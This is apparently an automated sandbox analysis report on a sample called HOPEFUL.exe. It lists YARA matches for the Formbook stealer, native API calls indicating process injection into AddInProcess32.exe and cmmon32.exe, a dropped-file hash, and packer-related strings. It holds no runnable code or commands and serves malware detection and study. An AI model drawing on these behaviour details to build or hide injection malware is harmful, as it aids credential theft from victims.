Source: 00000013.00000002.557782096.0000000000EC0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000013.00000002.557782096.0000000000EC0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000002.558552585.0000000003090000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000013.00000002.558552585.0000000003090000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.342835005.00000000017B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.342835005.00000000017B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.341874969.0000000001380000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.341874969.0000000001380000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.298637498.0000000004A76000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.298637498.0000000004A76000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000002.560537897.0000000004B40000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000013.00000002.560537897.0000000004B40000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.341186182.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.341186182.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.298890035.0000000004B4D000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.298890035.0000000004B4D000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00419D60 NtCreateFile, 5_2_00419D60
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00419E10 NtReadFile, 5_2_00419E10
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00419E90 NtClose, 5_2_00419E90
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00419F40 NtAllocateVirtualMemory, 5_2_00419F40
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00419D5D NtCreateFile, 5_2_00419D5D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00419E0B NtReadFile, 5_2_00419E0B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00419E8A NtClose, 5_2_00419E8A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00419F3A NtAllocateVirtualMemory, 5_2_00419F3A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018599A0 NtCreateSection,LdrInitializeThunk, 5_2_018599A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018595D0 NtClose,LdrInitializeThunk, 5_2_018595D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859910 NtAdjustPrivilegesToken,LdrInitializeThunk, 5_2_01859910
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859540 NtReadFile,LdrInitializeThunk, 5_2_01859540
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018598F0 NtReadVirtualMemory,LdrInitializeThunk, 5_2_018598F0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859840 NtDelayExecution,LdrInitializeThunk, 5_2_01859840
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859860 NtQuerySystemInformation,LdrInitializeThunk, 5_2_01859860
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859780 NtMapViewOfSection,LdrInitializeThunk, 5_2_01859780
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018597A0 NtUnmapViewOfSection,LdrInitializeThunk, 5_2_018597A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859710 NtQueryInformationToken,LdrInitializeThunk, 5_2_01859710
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018596E0 NtFreeVirtualMemory,LdrInitializeThunk, 5_2_018596E0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859A00 NtProtectVirtualMemory,LdrInitializeThunk, 5_2_01859A00
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859A20 NtResumeThread,LdrInitializeThunk, 5_2_01859A20
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859A50 NtCreateFile,LdrInitializeThunk, 5_2_01859A50
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859660 NtAllocateVirtualMemory,LdrInitializeThunk, 5_2_01859660
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018599D0 NtCreateProcessEx, 5_2_018599D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018595F0 NtQueryInformationFile, 5_2_018595F0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859520 NtWaitForSingleObject, 5_2_01859520
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0185AD30 NtSetContextThread, 5_2_0185AD30
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859950 NtQueueApcThread, 5_2_01859950
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859560 NtWriteFile, 5_2_01859560
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018598A0 NtWriteVirtualMemory, 5_2_018598A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859820 NtEnumerateKey, 5_2_01859820
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0185B040 NtSuspendThread, 5_2_0185B040
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0185A3B0 NtGetContextThread, 5_2_0185A3B0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859FE0 NtCreateMutant, 5_2_01859FE0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859B00 NtSetValueKey, 5_2_01859B00
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0185A710 NtOpenProcessToken, 5_2_0185A710
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859730 NtQueryVirtualMemory, 5_2_01859730
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859760 NtOpenProcess, 5_2_01859760
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859770 NtSetInformationFile, 5_2_01859770
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0185A770 NtOpenThread, 5_2_0185A770
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859A80 NtOpenDirectoryObject, 5_2_01859A80
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018596D0 NtCreateKey, 5_2_018596D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859610 NtEnumerateValueKey, 5_2_01859610
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859A10 NtQuerySection, 5_2_01859A10
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859650 NtQueryValueKey, 5_2_01859650
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01859670 NtQueryInformationProcess, 5_2_01859670
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29860 NtQuerySystemInformation,LdrInitializeThunk, 19_2_04E29860
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29840 NtDelayExecution,LdrInitializeThunk, 19_2_04E29840
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E295D0 NtClose,LdrInitializeThunk, 19_2_04E295D0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E299A0 NtCreateSection,LdrInitializeThunk, 19_2_04E299A0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29540 NtReadFile,LdrInitializeThunk, 19_2_04E29540
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29910 NtAdjustPrivilegesToken,LdrInitializeThunk, 19_2_04E29910
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E296E0 NtFreeVirtualMemory,LdrInitializeThunk, 19_2_04E296E0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E296D0 NtCreateKey,LdrInitializeThunk, 19_2_04E296D0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29660 NtAllocateVirtualMemory,LdrInitializeThunk, 19_2_04E29660
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29650 NtQueryValueKey,LdrInitializeThunk, 19_2_04E29650
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29A50 NtCreateFile,LdrInitializeThunk, 19_2_04E29A50
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29FE0 NtCreateMutant,LdrInitializeThunk, 19_2_04E29FE0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29780 NtMapViewOfSection,LdrInitializeThunk, 19_2_04E29780
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29710 NtQueryInformationToken,LdrInitializeThunk, 19_2_04E29710
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E298F0 NtReadVirtualMemory, 19_2_04E298F0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E298A0 NtWriteVirtualMemory, 19_2_04E298A0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E2B040 NtSuspendThread, 19_2_04E2B040
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29820 NtEnumerateKey, 19_2_04E29820
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E295F0 NtQueryInformationFile, 19_2_04E295F0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E299D0 NtCreateProcessEx, 19_2_04E299D0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29560 NtWriteFile, 19_2_04E29560
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29950 NtQueueApcThread, 19_2_04E29950
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29520 NtWaitForSingleObject, 19_2_04E29520
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E2AD30 NtSetContextThread, 19_2_04E2AD30
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29A80 NtOpenDirectoryObject, 19_2_04E29A80
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29670 NtQueryInformationProcess, 19_2_04E29670
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29A20 NtResumeThread, 19_2_04E29A20
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29A00 NtProtectVirtualMemory, 19_2_04E29A00
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29610 NtEnumerateValueKey, 19_2_04E29610
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29A10 NtQuerySection, 19_2_04E29A10
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E297A0 NtUnmapViewOfSection, 19_2_04E297A0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E2A3B0 NtGetContextThread, 19_2_04E2A3B0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29760 NtOpenProcess, 19_2_04E29760
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29770 NtSetInformationFile, 19_2_04E29770
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E2A770 NtOpenThread, 19_2_04E2A770
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29730 NtQueryVirtualMemory, 19_2_04E29730
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E29B00 NtSetValueKey, 19_2_04E29B00
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E2A710 NtOpenProcessToken, 19_2_04E2A710
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00ED9D60 NtCreateFile, 19_2_00ED9D60
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00ED9E90 NtClose, 19_2_00ED9E90
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00ED9E10 NtReadFile, 19_2_00ED9E10
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00ED9F40 NtAllocateVirtualMemory, 19_2_00ED9F40
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00ED9D5D NtCreateFile, 19_2_00ED9D5D
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00ED9E8A NtClose, 19_2_00ED9E8A
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00ED9E0B NtReadFile, 19_2_00ED9E0B
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00ED9F3A NtAllocateVirtualMemory, 19_2_00ED9F3A
Contains functionality to launch a process as a different user
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F1359C CreateProcessAsUserW, 0_2_02F1359C
Detected potential crypto function
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F11898 0_2_02F11898
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F11168 0_2_02F11168
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F048A2 0_2_02F048A2
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F063AB 0_2_02F063AB
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F12E78 0_2_02F12E78
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_02F12A00 0_2_02F12A00
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_016499C1 0_2_016499C1
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_0164BBE8 0_2_0164BBE8
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_0164A4B9 0_2_0164A4B9
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_01643F90 0_2_01643F90
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_0164F618 0_2_0164F618
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_0164EE1A 0_2_0164EE1A
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_0164D6AA 0_2_0164D6AA
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_016476B0 0_2_016476B0
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 0_2_0164F608 0_2_0164F608
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00401030 5_2_00401030
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0041D8D2 5_2_0041D8D2
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0041E197 5_2_0041E197
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0041D313 5_2_0041D313
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00402D87 5_2_00402D87
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00402D90 5_2_00402D90
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00409E40 5_2_00409E40
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0041D63C 5_2_0041D63C
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00409E3F 5_2_00409E3F
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0041DF97 5_2_0041DF97
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0041DFAA 5_2_0041DFAA
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00402FB0 5_2_00402FB0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_00DE2050 5_2_00DE2050
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01842581 5_2_01842581
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E25DD 5_2_018E25DD
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0182D5E0 5_2_0182D5E0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0181F900 5_2_0181F900
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E2D07 5_2_018E2D07
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01810D20 5_2_01810D20
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01834120 5_2_01834120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E1D55 5_2_018E1D55
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0182B090 5_2_0182B090
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018420A0 5_2_018420A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E20A8 5_2_018E20A8
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E28EC 5_2_018E28EC
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018D1002 5_2_018D1002
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0182841F 5_2_0182841F
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_0184EBB0 5_2_0184EBB0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018DDBD2 5_2_018DDBD2
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E1FF1 5_2_018E1FF1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E2B28 5_2_018E2B28
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E22AE 5_2_018E22AE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_018E2EF7 5_2_018E2EF7
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 5_2_01836E30 5_2_01836E30
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E120A0 19_2_04E120A0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04DFB090 19_2_04DFB090
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04DF841F 19_2_04DF841F
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04EA1002 19_2_04EA1002
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04DFD5E0 19_2_04DFD5E0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E12581 19_2_04E12581
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04EB1D55 19_2_04EB1D55
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E04120 19_2_04E04120
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04DEF900 19_2_04DEF900
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04DE0D20 19_2_04DE0D20
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E06E30 19_2_04E06E30
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E1EBB0 19_2_04E1EBB0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EDE197 19_2_00EDE197
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EC2D87 19_2_00EC2D87
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EC2D90 19_2_00EC2D90
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EC9E40 19_2_00EC9E40
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EC9E3F 19_2_00EC9E3F
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EDDFAA 19_2_00EDDFAA
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EC2FB0 19_2_00EC2FB0
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_00EDDF97 19_2_00EDDF97
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe 23F4A2CCDCE499C524CF43793FDA8E773D809514B5471C02FA5E68F0CDA7A10B
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: String function: 0181B150 appears 35 times
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: String function: 04DEB150 appears 32 times
Sample file is different than original file name gathered from version info
Source: HOPEFUL.exe Binary or memory string: OriginalFilename vs HOPEFUL.exe
Source: HOPEFUL.exe, 00000000.00000002.298295115.0000000004131000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameSHCore1.dll0 vs HOPEFUL.exe
Source: HOPEFUL.exe, 00000000.00000002.296333169.0000000003121000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameRunPe6.dll" vs HOPEFUL.exe
Source: HOPEFUL.exe, 00000000.00000003.279597183.0000000001459000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameAddInProcess32.exeT vs HOPEFUL.exe
Uses 32bit PE files
Source: HOPEFUL.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Yara signature match
Source: 00000013.00000002.557782096.0000000000EC0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000013.00000002.557782096.0000000000EC0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000002.558552585.0000000003090000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000013.00000002.558552585.0000000003090000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.342835005.00000000017B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.342835005.00000000017B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.341874969.0000000001380000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.341874969.0000000001380000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.298637498.0000000004A76000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.298637498.0000000004A76000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000002.560537897.0000000004B40000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000013.00000002.560537897.0000000004B40000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.341186182.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.341186182.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.298890035.0000000004B4D000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.298890035.0000000004B4D000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
